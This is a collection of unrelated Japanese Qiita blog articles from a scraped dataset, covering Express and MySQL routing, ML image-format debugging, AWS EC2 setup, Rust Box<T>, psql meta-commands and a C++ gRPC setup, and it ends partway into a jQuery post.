OmniAICreator/Qiita-1.07M huggingface dataset:
１つのルートで複数のクエリを順番に処理する方法


### MySQLにクエリを連投できない 

フォームに入力された新規ユーザーを`users`テーブルに追加する際、

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3825151/801e1977-a645-4774-bcb6-1829d6ca23c7.png)

1. 登録したい`req.body.userName`の値が既存どうかをチェック
1. 登録済みでなければ新規登録する

これら２つのアクションを１つのルートの中で順番に処理する必要がある。しかしひとつのアクション内でMySQLへクエリを投げられるのは一度だけのようで、以下のようなコードはエラーになってしまう。

```javascript
app.post('/adduser', (req, res) => {
    ////重複チェック action1
    connection.query(`
        SELECT * FROM users WHERE name=?`,
        [req.body.userName],                  //formに入力された登録したいname
        (error, results) => {
            if(results.length > 0){           //true:すでに登録済み
                res.json({message : 'presented'});
                                              //「登録済み」とメッセージを返して新規登録せずに終了
            }else{                            //false:未登録。新規登録するため、次の処理へ
    ////MySQLに保存 action2
                connection.query(`
                    INSERT INTO users (name) values (?);`,
                    [req.body.userName],
                    (error, results) => {
                        res.redirect('/top');             //新規登録完了後の処理
                    }
                );
            }
        }
    );
},
```
そもそも１つ目のクエリ処理の中に２つ目のクエリが入り込んでいるので、その時点でちょっと無理がありすぎる。

### 【解決策】next()を使って、複数の関数を順番に実行
１つのルートに対して複数のアクション（関数）を登録することは可能なので、１つのクエリにつき１つのアクション（関数）を割り当てる。
次のアクションへの移動は`next()`関数を使うことで制御できる。↓概略↓
```javascript
app.post('/adduser',
    (req, res, next) => {
        //１つ目のクエリと処理
        next();
    },
    (req, res) => {
        //２つ目のクエリと処理    
    }
);
```
:::note info
１つ目の引数に`next`を追加し、次の処理に進みたいタイミングで`next()`関数を読み込むと、２つ目のアクションの実行へ移る

:::

### 入力された新規ユーザーを`users`テーブルに追加するコード例
　action1. 登録したい`req.body.userName`の値が既存どうかをチェック
 　action2. 登録済みでなければ新規登録する

```javascript
app.post('/adduser',
////重複チェック action1
    (req, res, next) => {                     
        connection.query(`
            SELECT * FROM users WHERE name=?`,
            [req.body.userName],                  //formに入力された登録したいname
            (error, results) => {
                if(results.length > 0){           //true:すでに登録済み
                    res.json({message : 'presented'});
                                                  //「登録済み」とメッセージを返して新規登録せずに終了
                }else{                            //false:未登録
                    next();                       //新規登録するため、次の処理へ
                }
            }
        );
    },
////MySQLに保存 action2
    (req, res) => {
        connection.query(`
            INSERT INTO users (name) values (?);`,
            [req.body.userName],
            (error, results) => {
                res.redirect('/top');             //新規登録完了後の処理
            }
        );
    }
);
```
機械学習の推論がうまくいかないときの画像形式のチェック項目

不幸にして、画像認識の推論がおかしい時には、まず次の内容を疑ってみよう。

- 画像がとれていない
    - 例：cv_image の値がNoneになっている
        - カメラを別のアプリケーションが既に接続してしまっていて、そのアプリの中で接続できないときも生じる。
        - 前回の終了時点で、デバイスがきれいに解放されていないことで、新規に接続できないことがある。
- 画像のチャンネル数が、想定しているものと違っている
    - 例：cv_image.shape[2] == 4 となっている。
    - 透過型pngファイルだとチャネル数が４になる。
    - ライブラリによっては、画像のチャネル数を４にしていることがある。
    - int8 * 4 = 32 bit とするため。
- 画像の型が、想定しているものと違っている
    - 例：cv_image.dtype が np.uint8 になっているか。
    - 例：np.float32 などfloat の値になっていないか。
    - ライブラリによっては画像の値を[0.0, 1.0]の間のfloat の値にしていることがある。
- 画像の大きさが、推論の入力側で想定している大きさと異なる。
    - 推論の入力画像を与える時のメソッドで、所定サイズにresize後の画像を要求しているライブラリもある。   
- 画像の値の範囲が[0, 255]の範囲を超えている。
    - 例: rawデータで読み込んだデータは12 bit depthを持つことがある。
- 与えた画像が部分行列になっている。
    - 一般に機械学習のライブラリは、部分行列を受け付けないことが多い。
- 画像の値が全て０などの変な値が入っている。 
- RGBとGBRで色の順序が違う
    - 計算自体はされるが、検出率が低くなる。
- np.ndarray型(numpy, opencv) での画像型を想定していないかもしれない。
    - 例： PIL.Image型 
    - 例：その機械学習ライブラリ固有の画像データ形式（特に商用ライブラリではありがち）
- 画像データの記述の順番の違い
    - 添字の順番がHWC（高さ、幅、チャネル）と全てがなっているわけではない。 

## 画像以外に原因がある場合
- GPUを使用するライブラリが複数あって、それらの間でGPUリソースの奪いあいをしている状況
    - Jetson の場合はjtopコマンドを使って、動作状況を確認しよう。
    - [jetson-stats入門](https://qiita.com/dandelion1124/items/b70703e5251ef20a54f7)
【ChatGPT＋DALL-E3】【Dream Machine】の動画ふたつのあいだに画像を挟む（失敗談）


　どうも、カーブミラーです。

　今回は、Dream Machineの動画ふたつのあいだに画像を挟むことに挑戦した結果の失敗談です。

:::note info
本記事は、ChatGPT（有料版）
＋DALL-E3で行なっております。
画像はありません。あしからず。
:::

　アップを
　　忘れていました🙇

　ニュースがないので、
　　さっそく本題です。

　今回は、
　　動画作成の失敗談です。

　動画と動画を
　　くっつけることは
　　　やりましたよね。

　今回は、
　　そのあいだに、
　　　画像を挟み込もうと
　　　　やってみました。

　失敗談ということからも
　　わかるかと思いますが、
　　　ダメでした。

　ふたつの動画と画像を
　　アップロードして
　　　下記Promptを入力。
```Text:ふたつの動画のあいだに画像を挟むPrompt
MoviePyを使って、ふたつの動画のあいだに画像を入れてください。
```
　これで送信。

　エラーで
　　何度かやり直します。

　とりあえず、
　　出来上がり、
　　　ダウンロードリンクが出ます。

　ダウンロードして確認すると、
　　ひとつめの動画が流れたあと、
　　　シマシマの動画が流れました。

　シマシマというのは
　　昔のテレビで、
　　　電波状況が悪いときに
　　　　起きたものに
　　　　　よく似ています。

　ChatGPTさんに尋ねたら、
　　「インターフェアンス」とか
　　　「ゴースト」と呼ばれていた
　　　　そうです。
***
　まぁ、そんなこんなで、
　　諦められない私がいまして😅

　いったん、
　　前の動画に
　　　画像を付けた動画を作成。

　それから
　　この動画ともうひとつの動画を
　　　ドッキング。

　この方法も
　　似た感じのゴーストに
　　　なりました😭

　という感じの失敗談でした。

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
【コーヒーブレイク】コーヒーを飲むことによるメリット！

# 概要
仕事中にコーヒーを飲む方は多いでしょう。
コーヒーブレイクを取ることで、緊張していた身体がリラックスし、眠気が覚めて集中力が向上するなど、さまざまな効果が期待できます。今回は、コーヒーを飲むことによるメリットについてご紹介します。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3533049/6bd8c0b4-83d7-666f-b0a7-6354ab8a8823.jpeg" width=25%>

# 目次
- [覚醒作用がある](#覚醒作用がある)
- [抗酸化作用がある](#抗酸化作用がある)
- [糖尿病リスクの低下](#糖尿病リスクの低下)
- [デトックス効果](#デトックス効果)
- [おわりに](#おわりに)

# 覚醒作用がある
カフェインの効果の一つに、覚醒状態を維持してくれる効果があります。
身体の中では、疲労がたまることと比例して、アデノシンという成分が作られています。このアデノシンは、覚醒作用があるヒスタミンという成分の分泌を抑える働きがあるため、アデノシンが多く放出されると眠気がでてきます。
カフェインはこのアデノシンの働きを抑える効果があり、結果的に眠気が抑えらえることで、覚醒作用が向上します。
少し詳しく記載すると、アデノシンはアデノシン受容体と結合して、ヒスタミンの分泌を抑えています。カフェインもアデノシン受容体に結合する働きがあり、そのためアデノシンとアデノシン受容体の結合を阻害するため、ヒスタミンの分泌量が減り、眠気を感じにくくなるという仕組みです。

# 抗酸化作用がある
コーヒーにはポリフェノール、クロロゲン酸という成分が豊富に含まれています。これは、抗酸化物質といわれ、身体で発生する活性酸素を中和して、がんや生活習慣病、肌の老化を引き起こす酸化ストレスを軽減させる効果があります。

# 糖尿病リスクの低下
コーヒーは血糖値の上昇を抑える働きがあるといわれています。2002年のオランダの研究では、コーヒーを1日にある程度飲む人は、少量だったり飲まない人に比べると、2型糖尿病のリスクが半分以下になるという研究結果が報告されました。また、2009年には、日本の国立国際医療研究センターの研究で、コーヒーを1日に3杯～4杯飲む人は、飲まない人に比べて2型糖尿病のリスクが、男性で17％、女性で38％低下することが報告されました。

# デトックス効果
カフェインには利尿作用があります。この利尿作用によって、身体の余分な水分や、老廃物を排出することができます。また、血流も改善されるため、栄養が身体全体にいきわたりやすくなります。そのため、シワやたるみといった肌の状態が改善したり、ニキビ等の肌トラブルも改善されます。
その他にも、疲労の回復力、肩こり、生活習慣病、冷え性、お通じ等の改善があります。

# おわりに
コーヒーは上記のようなメリットもありますが、摂りすぎるとカフェイン依存症になってしまう可能性があります。カフェイン依存症になると、カフェインを摂らないと頭痛や吐き気、不安感に襲われたりします。これはカフェインをやめることによる離脱症状で、「カフェイン離脱」といわれます。
過剰摂取を避けたり、就寝前には飲まないようにすることで、適切に摂取していきたいですね。

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3533049/75147824-8789-9d69-abfe-7f3217530d8e.jpeg" width=80%>
AWS EC2のインスタンス生成から起動、停止までの手順




## はじめに
AWSのEC2を起動、停止に関しての備忘録。

## 🦁<INS>**結論**</INS>🦁
AWSのEC2は、AWSのマネジメントコンソールを通じて簡単にセットアップが可能です。必要な手順を完了すれば、ほんの数分でEC2インスタンスを起動し、使用を開始できます。キーペアを生成して保管しておくことで、SSHプロトコルを用いて安全にインスタンスへ接続することが可能になります。これにより、インスタンスをリモートから制御でき、サーバーの設定やアプリケーションのデプロイが行える。


:::note info
押さえておくべき点
* AWS EC2（Amazon Web Services Elastic Compute Cloud）は、仮想サーバーをクラウドで提供するサービス
* インスタンスへのSSHアクセスにはキーペアファイル（.pem）を作成してディレクトリに保管が必要
:::  
***

:::note warn
利用シーン
* 24時間、連続して実行したいものがあるとき
* 24時間、稼働させておきたいとき
:::  
***

:::note alert
注意点
*  インスタンスの終了は「インスタンスの削除」と同意義
:::  

## <INS>**手順一覧**</INS>

## <INS>**アカウントの作成**</INS>

【AWS】10分でできるAWSアカウント作成手順
https://kacfg.com/aws-account-create/

こちらのサイトを見てもらえれば、すぐに作成できます。
わかりやすい非常に見やすいサイトだと私は思います。

![スクリーンショット 2024-07-03 13.57.54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3522630/61fa5cde-b880-ba81-b991-1ab92c60da28.png)!


## <INS>**キーペアファイルの生成**</INS>

AWSマネジメントコンソールにログイン後、サービスメニューから「EC2」を選択
￼
ナビゲーションペインで「キーペア」を選び、「キーペアの作成」をクリック


キーペアに名前を付けて「作成」をクリックすると、秘密キー（.pemファイル）がダウンロードされる
※必ず使用するため、スクリプトのディレクトリの中に保存。
※Windowsは.pemファイルが扱えないため、「Save private key」を選択して、.ppkフォーマットで保存が必要。



## <INS>**EC2のインスタンス生成**</INS>

「インスタンスの起動」を選択し、希望するOSイメージを選択します。

### <INS>**無料の枠で使えるために抑えておくこと**</INS>

【インスタンスタイプ】
t2.micro や t3.micro が無料枠内で利用できる。

【利用時間】
「月750時間」まで無料で利用可能。
1ヶ月間で、1台のインスタンスを24時間稼働させることができるという意味です。
複数のインスタンスを同時に利用する場合は、利用時間が分配されてしまう。

【EC2内蔵のストレージ】
EBS、汎用(SSD)またはスループット最適化HDDのどちらかで「30GBまで」利用可能。


【データ転送】
AWSとインターネット間でのデータ転送は、15GBまで無料
インターネットからEC2へのアップロード、EC2からのダウンロード
15GBは通信規格と同じ（使えるギガ数）

【OSイメージ】
Linux、Windows。（MACは有料）
基本は「Amazon Linux 2 AMI (HVM) - Kernel 5. 10, SSD Volume Type」Amazon Linux 2


### <INS>**手順**</INS>
EC2のインスタンス名を入力

OSを選択

マシンイメージを選択

キーペアを選択
※作成したものを選択する

ネットワーク設定はデフォルトのままでOK

ストレージを「gp3」で30GBまでで設定する

「インスタンスを起動」をクリック

￼![スクリーンショット 2024-07-03 13.26.07のコピー.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3522630/9174087f-6cb6-8982-4a28-4855a5e3490a.png)





## <INS>**インスタンスの状態管理**</INS>

左側のメニューから「インスタンス」をクリック

「インスタンスの状態」をクリック

![インスタンスタイプ.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3522630/2e374348-cd6f-b680-b17b-bfb1b387b60c.png)



【インスタンスの停止】
スリープ状態にすること。
インスタンスは、削除されずに、そのまま残る。

【インスタンスの開始】
インスタンスを起動させること。

【インスタンスの再起動】
文字通り再起動させること。

【インスタンスの休止】
停止とほぼ同様。
ただ休止のほうが止めた、そこまでの内容を完璧に保存してあるから始める際にも全く同じ状況下で、すぐに始めることができる。
長期間作業の停止が必要な場合などに使われる。


【インスタンスの終了】
インスタンスを削除すること。




## まとめ✍️
EC2の起動までは簡単にできた。
基本はLinuxになると思うので、Linuxコマンドは重要になる。
また、無料期間を使って、たくさんの経験を積み上げたい。

***  
## 参考にした記事📕
[【AWS】10分でできるAWSアカウント作成手順](https://kacfg.com/aws-account-create/)
87日目 365日後に〇〇する社畜に新メンバー加入：社畜♀

## 社畜♀
【**年齢・職歴**】   
25歳・美容室勤務  
【**学習状況**】  
HTML・C＃　かじってる程度  
paiza　Java　S・Aランク取得済み

【**目標**】  
少しでも早く会社の利益になれる人間になってやろうじゃあないか  
Java以外の言語も覚えて、資格もたくさん取ってやるッ！

【**自己紹介**】  
あたしも名前を付けるわ「社畜♀」  
あたしは・・・6月に入社したの・・・  
聞こえた？「社畜♀」よ・・・・・・これが名前  

AWS・・・・・・  
あたしこの業界未経験だからさァ  
あんたのこと良く知らないんだけど、仲良くなれる気がするのよ  
どう？あんた次第だけど・・・・・・「力」を貸してくれない？殺人はなしよ   
  
『ひとりのプログラマーは虚空を見つめていた』・・・  
『もうひとりのプログラマーはPCからのぞく星を見ていた』  
あたしはどっちだ？  
もちろんあたしは星を見るわ・・・  
プログラマーになるためなら何だってやるぞ・・・  
ドブ水だってすすってやるし誰よりも強くなる・・・  
オラオラオラオラオラオラオラオラァー！！  
  
**TO BE CONTINUED**・・・
編入試験 微分方程式ｙ’＝−ｙ−１,y(0)=0「神戸大学数学科R3編入試験問題4解答解説 take2」(1)だけ をChatGPTとsympyとWolframAlpha でやってみたい。

・「編入試験問題」はじめまして。です。

# オリジナル
・高橋ユウコ 様 (0:00〜18:09)の(1)だけ(0:00〜3:56)

https://youtu.be/9z0cF0EIKQ8

・公式ホームページ
　http://www.math.kobe-u.ac.jp/HOME/home-j/gif/hr03.pdf
＜http://www.math.kobe-u.ac.jp/home-j/index4-4.html

# ChatGPT-3.5先生へ。
```
(1)微分方程式ｙ’＝−ｙ−１,
   y(0)=0の解を求めよ。
```
正しくは、以下でした。再計算は、していません。
```
(1)微分方程式ｙ’＝−ｙ−１,y(0)=0の解y(x)を求めよ.
```
...
したがって、解は次のようになります：
y=-1+e^(-x)
...
```
sympyで
```
・print文を、私が追加しています。

```python
import sympy as sp

# 変数と関数を定義
x = sp.symbols('x')
y = sp.Function('y')

# 微分方程式を定義
differential_eq = sp.Eq(y(x).diff(x), -y(x) - 1)

# 初期条件
initial_condition = {y(0): 0}

# 微分方程式を解く
solution = sp.dsolve(differential_eq, y(x), ics=initial_condition)

solution

print("#",solution)
# Eq(y(x), -1 + exp(-x))
```

# WolframAlpha で
・グラフがでます。
・常微分方程式の分類: 一階線形常微分方程式

https://www.wolframalpha.com/input?i=%EF%BD%99%E2%80%99%EF%BC%9D%E2%88%92%EF%BD%99%E2%88%92%EF%BC%91%2Cy%280%29%3D0&lang=ja

微分方程式の解
y(x) = e^(-x) - 1

# sympyで(オリジナル 様の方法で)
???勉強中です。微分方程式??? 

# いつもの? sympyの実行環境と 参考のおすすめです。
[(テンプレート)](https://qiita.com/mrrclb48z/items/00dd08b0317069be9342)

・以下ができたら、助かります。指定と全部です

https://qiita.com/mrrclb48z/items/555d85face87552c34fb

https://qiita.com/mrrclb48z/items/5f57eac92aaca30e85c0

# いつもと違うおすすめです。
sympy.solvers.ode.dsolve(eq, func=None, hint='default', simplify=True, ics=None, xi=None, eta=None, x0=0, n=6, **kwargs)

https://docs.sympy.org/latest/modules/solvers/ode.html
メモ: RustのBox<T>についてのメモ

これはRustのスマートポインタについての解説を読んで、記憶に残したいところをかいつまんだメモです

特別なことは何も書いていないので、この記事を読むのではなく、Rustの公式マニュアルページを読んでください

# 背景
Rust By ExampleでBox<T>を使ったリストの例が出てきたため、それにともない、調べました

https://qiita.com/fujino_tech/items/e9512fa7123aff804bfd#testcase-linked-list


# スマートポインタ

https://doc.rust-jp.rs/book-ja/ch15-00-smart-pointers.html

> 参照は&記号で示唆され、指している値を借用します。データを参照すること以外に特別な能力は何もありません。 また、オーバーヘッドもなく、ポインタの中では最も頻繁に使われます。

> 一方、スマートポインタは、ポインタのように振る舞うだけでなく、追加のメタデータと能力があるデータ構造です。

> 所有権と借用の概念を使うRustにおいて、参照とスマートポインタにはもう1つ違いがあります。参照はデータを借用するだけのポインタなのです。 対照的に多くの場合、スマートポインタは指しているデータを所有します。

# ヒープのデータを指すBox<T>を使用する

https://doc.rust-jp.rs/book-ja/ch15-01-box.html

> ボックスにより、スタックではなくヒープにデータを格納することができます。スタックに残るのは、 ヒープデータへのポインタです。

```rust
fn main() {
    let b = Box::new(5);
    println!("b = {}", b);
}
```

> 変数bを定義してBoxの値を保持します。Boxは値5を指し、値5はヒープに確保されています。

> 所有された値と全く同じでスコープを抜けるとき、実際bはmainの終わりで抜けるのですが、 ボックスはメモリから解放されます。メモリの解放は（スタックに格納されている）ボックスと（ヒープに格納されている）指しているデータに対して起きます。

> コンパイル時にコンパイラが知っておかねばならないのは、ある型が占有する領域の大きさです。コンパイル時にサイズがわからない型の1つ として 再帰的な型があります。この型の値は、値の一部として同じ型の他の値を持つ場合があります。値のこうしたネストは、理論的には無限に続く可能性があるので、コンパイラは再帰的な型の値が必要とする領域を知ることができないのです。

## 実装

続いて、Box<T>を実際に使ったコンスリストを実装していきます

この、データと次のデータへのポインタを持っているやつのこと、コンスリストっていうんですね

以下はコンパイルに失敗するやつ

```rust
enum List {
    Cons(i32, List),
    Nil,
}
```

```
error[E0072]: recursive type `List` has infinite size
 --> src\main.rs:1:1
  |
1 | enum List {
  | ^^^^^^^^^
2 |     Cons(i32, List),
  |               ---- recursive without indirection
  |
help: insert some indirection (e.g., a `Box`, `Rc`, or `&`) to break the cycle
  |
2 |     Cons(i32, Box<List>),
  |               ++++    +

For more information about this error, try `rustc --explain E0072`.
```

Rustはかしこいので、Box<List>を使うように示唆してくれています

以下の通りで、（unused valueでwarningは出ますが）コンパイルできます

```rust
enum List {
    Cons(i32, Box<List>),
    Nil,
}

fn main() {
    use List::*;
    println!("Hello, world!");

    let list : List = Cons(1, Box::new(Cons(
                            2, Box::new(Cons(
                                3, Box::new(Nil))))));
}
```
【PostgreSQL】メタコマンド〜\echo〜

## 初めに

Qiita Engineer Festa 2024に参加中。完走目指してます。
他のメタコマンドについては以下から読んでください。

https://qiita.com/dai_chi/items/04f5339d54130f070671

## \echoとは

> 評価された引数を空白で区切り、標準出力に出力し、改行します。 スクリプトが出力するところどころに情報を記載する場合に有用です。 使用例を次に示します。
> 
> 
> ```
> =>\echo `date`
> Tue Oct 26 21:40:57 CEST 1999
> ```
> 
> 最初の引数が引用符で囲まれていない`-n`である場合、最後の改行は出力されません(し、最初の引数も出力されません)。
> 

[\echoについて](https://www.postgresql.jp/docs/15/app-psql.html#:~:text=%E3%81%A6%E3%81%8F%E3%81%A0%E3%81%95%E3%81%84%E3%80%82-,%5Cecho%20text%20%5B%20...%20%5D,-%E8%A9%95%E4%BE%A1%E3%81%95%E3%82%8C)

## 試してみた

echo.sqlとして以下を記載する。

```bash
\set name 'daichi'
\echo 'Starting script execution...'
\echo 'Hello, ' :name!
\echo 'Querying the database:'
SELECT count(*) FROM users;
\echo 'Script execution completed.'
```

実行してみる。

```bash
psql -f echo.sql

Starting script execution...
Hello,  daichi!
Querying the database:
 count 
-------
     4
(1 row)

Script execution completed.
```

## まとめ

スクリプトを組んだ際に今何をしているのかをわかるように使うのが良さそう。
あとは失敗したエラー文として出力するのも良い。
【PostgreSQL】メタコマンド〜\errverbose〜

## 初めに

Qiita Engineer Festa 2024に参加中。完走目指してます。
他のメタコマンドについては以下から読んでください。

https://qiita.com/dai_chi/items/04f5339d54130f070671

## \errverboseとは

> 最も最近のサーバのエラーメッセージを最大の冗長さ、つまり`VERBOSITY`が`verbose`に、そして`SHOW_CONTEXT`が`always`に設定されているかのようにして、繰り返します。
> 

[\errverboseについて](https://www.postgresql.jp/docs/15/app-psql.html#:~:text=%E8%A1%A8%E7%A4%BA%E3%81%97%E3%81%BE%E3%81%99%E3%80%82-,%5Cerrverbose,-%E6%9C%80%E3%82%82%E6%9C%80%E8%BF%91%E3%81%AE)

## 試してみた

存在しないテーブルを参照してみる

```sql
postgres=# \dt
           List of relations
 Schema |   Name    | Type  |  Owner   
--------+-----------+-------+----------
 public | sales     | table | postgres
 public | test      | table | postgres
 public | test_data | table | postgres
 public | users     | table | postgres
(4 rows)
```

```sql
postgres=# select * from table;
ERROR:  syntax error at or near "table"
LINE 1: select * from table;
```

\errverboseを使ってみる

```sql
postgres=# \errverbose
ERROR:  42601: syntax error at or near "table"
LINE 1: select * from table;

LOCATION:  scanner_yyerror, scan.l:1188
```

`LOCATION:  scanner_yyerror, scan.l:1188`でエラーの発生箇所(PostgreSQL側)を教えてくれています。`.l`と言うのは初めて見たけど[Lex(レックス)](https://ja.wikipedia.org/wiki/Lex)という。

## まとめ

PostgreSQLのソースを理解するのに使えそう。
また、ソースを理解している人がどこで起きているエラーなのかで原因特定の方法が変わってきそうだなと思いました。
【PostgreSQL】メタコマンド〜\gexec〜

## 初めに

Qiita Engineer Festa 2024に参加中。完走目指してます。
他のメタコマンドについては以下から読んでください。

https://qiita.com/dai_chi/items/04f5339d54130f070671

## \gexecとは

> 現在の問い合わせバッファをサーバに送信し、問い合わせの出力（あれば）の各行の各列をSQL文として実行します。 例えば、`my_table`の各列にインデックスを作成するには次のようにします。
> 
> 
> ```sql
> =>SELECT format('create index on my_table(%I)', attname)
> ->FROM pg_attribute
> ->WHERE attrelid = 'my_table'::regclass AND attnum > 0
> ->ORDER BY attnum
> ->\gexec
> CREATE INDEX
> CREATE INDEX
> CREATE INDEX
> CREATE INDEX
> ```
> 
> 生成された問い合わせは行が返された順番で実行され、また2つ以上の列が返された場合は、各行の中で左から右に実行されます。 NULLのフィールドは無視されます。 生成された問い合わせは、そのままサーバに送信されて処理されるため、psqlのメタコマンドとすることはできず、またpsqlの変数の参照を含むこともできません。 個別の問い合わせで失敗した場合、残りの問い合わせの実行は`ON_ERROR_STOP`が設定されているのでなければ継続します。 個々の問い合わせの実行は`ECHO`の処理に従います。 （`\gexec`を使う場合、`ECHO`を`all`あるいは`queries`に設定することが推奨されることが多いでしょう。） 問い合わせのログ出力、シングルステップモード、時間表示(timing)、およびその他の問い合わせ実行に関する機能は、生成された各問い合わせにも適用されます。
> 
> 現在の問い合わせバッファが空の場合、最も最近に送信された問い合わせが再実行されます。
> 

[\gexecについて](https://www.postgresql.jp/docs/15/app-psql.html#:~:text=/home/postgres-,%5Cgexec,-%E7%8F%BE%E5%9C%A8%E3%81%AE%E5%95%8F%E3%81%84%E5%90%88%E3%82%8F%E3%81%9B)

## 試してみた

テーブルを用意する

```sql
CREATE TABLE source_table (
    id SERIAL PRIMARY KEY,
    name VARCHAR(50)
);

CREATE TABLE target_table (
    id INTEGER,
    name VARCHAR(50)
);

INSERT INTO source_table (name) VALUES ('Alice'), ('Bob'), ('Charlie');
```

source_tableのデータを使ってtarget_tableにデータを挿入

```sql
postgres=# SELECT 'INSERT INTO target_table (id, name) VALUES (' || id || ', ''' || name || ''');'
FROM source_table
\gexec
INSERT 0 1
INSERT 0 1
INSERT 0 1
```

結果のSQLを実行してくれた。

ちなみに実行されたSQLは以下の通り

```sql
postgres=# SELECT 'INSERT INTO target_table (id, name) VALUES (' || id || ', ''' || name || ''');'
FROM source_table;
                          ?column?                          
------------------------------------------------------------
 INSERT INTO target_table (id, name) VALUES (1, 'Alice');
 INSERT INTO target_table (id, name) VALUES (2, 'Bob');
 INSERT INTO target_table (id, name) VALUES (3, 'Charlie');
(3 rows)
```

## まとめ

これは実務でも活用できそうですね。
実際にクエリから新たなクエリを作って実行すると言うことはしていたので今度使ってみます。
NestJSとC++間でgRPC（② C++のProtocol Buffers定義）

# はじめに

### 最終目標
NestJSプログラムとC++プログラムにそれぞれgRPCモジュールを実装して相互通信させることを最終目標とし、目標達成に至るまでのプロセスを段階的に記します。
C++側は公式サンプルにあるCMakeによるコンパイルではなく、Makefileでコンパイルできるようにします。

### 今回の目標
Protocol BuffersでC++側のAPIの定義とコンパイルを行い、C++のgRPC通信プログラムで使用するインクルードヘッダファイルと静的ライブラリファイルを生成します。
コンパイルはCMakeで行います。

### 環境
NestJSプログラム、C++プログラム共に同一のAlmaLinux8.8上で動作するものとします。

# C++環境でProtocol Buffersの定義
### CMake環境作成
下記のフォルダ構成を作成します。
```
grpc_api
  ├ build
  └ protos
```
### protoファイル作成
```grpc_api/protos/```の下に、下記の通り```user.proto```ファイルを作成します。
```UsersService```というサービスを作成し、```User```情報の取得と登録を行うAPIを用意します。
```GetUser```では```UserById```を引数に```User```を取得します。
```SetUser```では```User```を引数に```Result```を取得します。

```grpc_api/protos/user.proto
syntax = "proto3";

package user;

service UsersService {
  rpc GetUser (UserById) returns (User) {}
  rpc SetUser (User) returns (Result) {}
}

message UserById {
  int32 id = 1;
}

message User {
  int32 id = 1;
  string name = 2;
}

message Result {
  string message = 1;
}
```

### CMakeList.txtファイル作成
下記から```common.cmake```をダウンロードして```grpc_api/```に配置します。

https://github.com/grpc/grpc/blob/master/examples/cpp/cmake/common.cmake

下記の通りCMakeLists.txtファイルを作成し、```grpc_api/```に配置します。
gRPCのhellowoldサンプルプログラムを元に作成しました。

```grpc_api/CMakeLists.txt
cmake_minimum_required(VERSION 3.8)

project(User C CXX)

include(common.cmake)

set(dest_dir "../build")

# Proto file
get_filename_component(user_proto "protos/user.proto" ABSOLUTE)
get_filename_component(user_proto_path "${user_proto}" PATH)

# Generated sources
set(user_proto_srcs "${CMAKE_CURRENT_BINARY_DIR}/user.pb.cc")
set(user_proto_hdrs "${CMAKE_CURRENT_BINARY_DIR}/user.pb.h")
set(user_grpc_srcs "${CMAKE_CURRENT_BINARY_DIR}/user.grpc.pb.cc")
set(user_grpc_hdrs "${CMAKE_CURRENT_BINARY_DIR}/user.grpc.pb.h")
add_custom_command(
      OUTPUT "${user_proto_srcs}" "${user_proto_hdrs}" "${user_grpc_srcs}" "${user_grpc_hdrs}"
      COMMAND ${_PROTOBUF_PROTOC}
      ARGS --grpc_out "${dest_dir}"
        --cpp_out "${dest_dir}"
        -I "${user_proto_path}"
        --plugin=protoc-gen-grpc="${_GRPC_CPP_PLUGIN_EXECUTABLE}"
        "${user_proto}"
      DEPENDS "${user_proto}")

# Include generated *.pb.h files
include_directories("${CMAKE_CURRENT_BINARY_DIR}")

# user_grpc_proto
add_library(user_grpc_proto
  ${user_grpc_srcs}
  ${user_grpc_hdrs}
  ${user_proto_srcs}
  ${user_proto_hdrs})
target_link_libraries(user_grpc_proto
  absl::check
  ${_REFLECTION}
  ${_GRPC_GRPCPP}
  ${_PROTOBUF_LIBPROTOBUF})
```
### コンパイル実行
下記を実行します。
```
$ cd build
$ cmake ..
$ make -j 4
```
```build```の下に下記のファイルができていれば成功です。
次回からこれらヘッダファイルと静的ライブラリを使用します。
- ```user.pb.cc```
- ```user.pb.h```
- ```user.grpc.pb.cc```
- ```user.grpc.pb.h```
- ```libuser_grpc_proto.a```

これでProtocol Buffersの定義とライブラリの作成は完了です。
次回はC++のサーバプログラムを実装します。

# 関連記事

https://qiita.com/att-unno/items/cf9deb4b507cb5b6bd6d?1

https://qiita.com/att-unno/items/81f6760d3f447e7c3741?1

https://qiita.com/att-unno/items/55970c25da1d8be0503f?1

https://qiita.com/att-unno/items/17a239e661ff09badd99?1

https://qiita.com/att-unno/items/551c8554b5b521091611?1
NestJSとC++間でgRPC（① C++のgRPCセットアップ）

# はじめに

### 最終目標
NestJSプログラムとC++プログラムにそれぞれgRPCモジュールを実装して相互通信させることを最終目標とし、目標達成に至るまでのプロセスを段階的に記します。
C++側は公式サンプルにあるCMakeによるコンパイルではなく、Makefileでコンパイルできるようにします。

### 今回の目標
こちらを参考にC++環境へのgRPCとProtocol Buffersのインストールまでを行います。

https://grpc.io/docs/languages/cpp/quickstart/

### 環境
NestJSプログラム、C++プログラム共に同一のAlmaLinux8.8上で動作するものとします。

# C++環境にgRPCインストール
### CMakeのインストール
root権限で実行。
```
# dnf install -y cmake
```
バージョンの確認。
```
$ cmake --version
cmake version 3.26.5
```

### grpcリポジトリのクローン
gitから最新のgrpcリポジトリをクローン
```
$ git clone --recurse-submodules -b v1.64.0 --depth 1 --shallow-submodules https://github.com/grpc/grpc
```
### 環境変数の設定
```
$ export MY_INSTALL_DIR=$HOME/.local
$ mkdir -p $MY_INSTALL_DIR
$ export PATH="$MY_INSTALL_DIR/bin:$PATH"
```

### gRPCとProtocol Buffersをインストール

```
$ cd grpc
$ mkdir -p cmake/build
$ pushd cmake/build
$ cmake -DgRPC_INSTAL=ON \
> -DgRPC_BUILD_TESTS=OFF \
> -DCMAKE_INSTALL_PREFIX=$MY_INSTALL_DIR \
> ../..
$ make -j 4
$ make install
$ popd
```

これでC++環境へのgRPCのセットアップは完了です。
次回はProtocol BuffersでC++側のAPIの定義とコンパイルを行います。

# 関連記事

https://qiita.com/att-unno/items/cf9deb4b507cb5b6bd6d?1

https://qiita.com/att-unno/items/81f6760d3f447e7c3741?1

https://qiita.com/att-unno/items/55970c25da1d8be0503f?1

https://qiita.com/att-unno/items/17a239e661ff09badd99?1

https://qiita.com/att-unno/items/551c8554b5b521091611?1
jQueryは時代遅れなのか？

# はじめに
おはようございます、しなもんです。
jQuery、使われていらっしゃいますでしょうか。

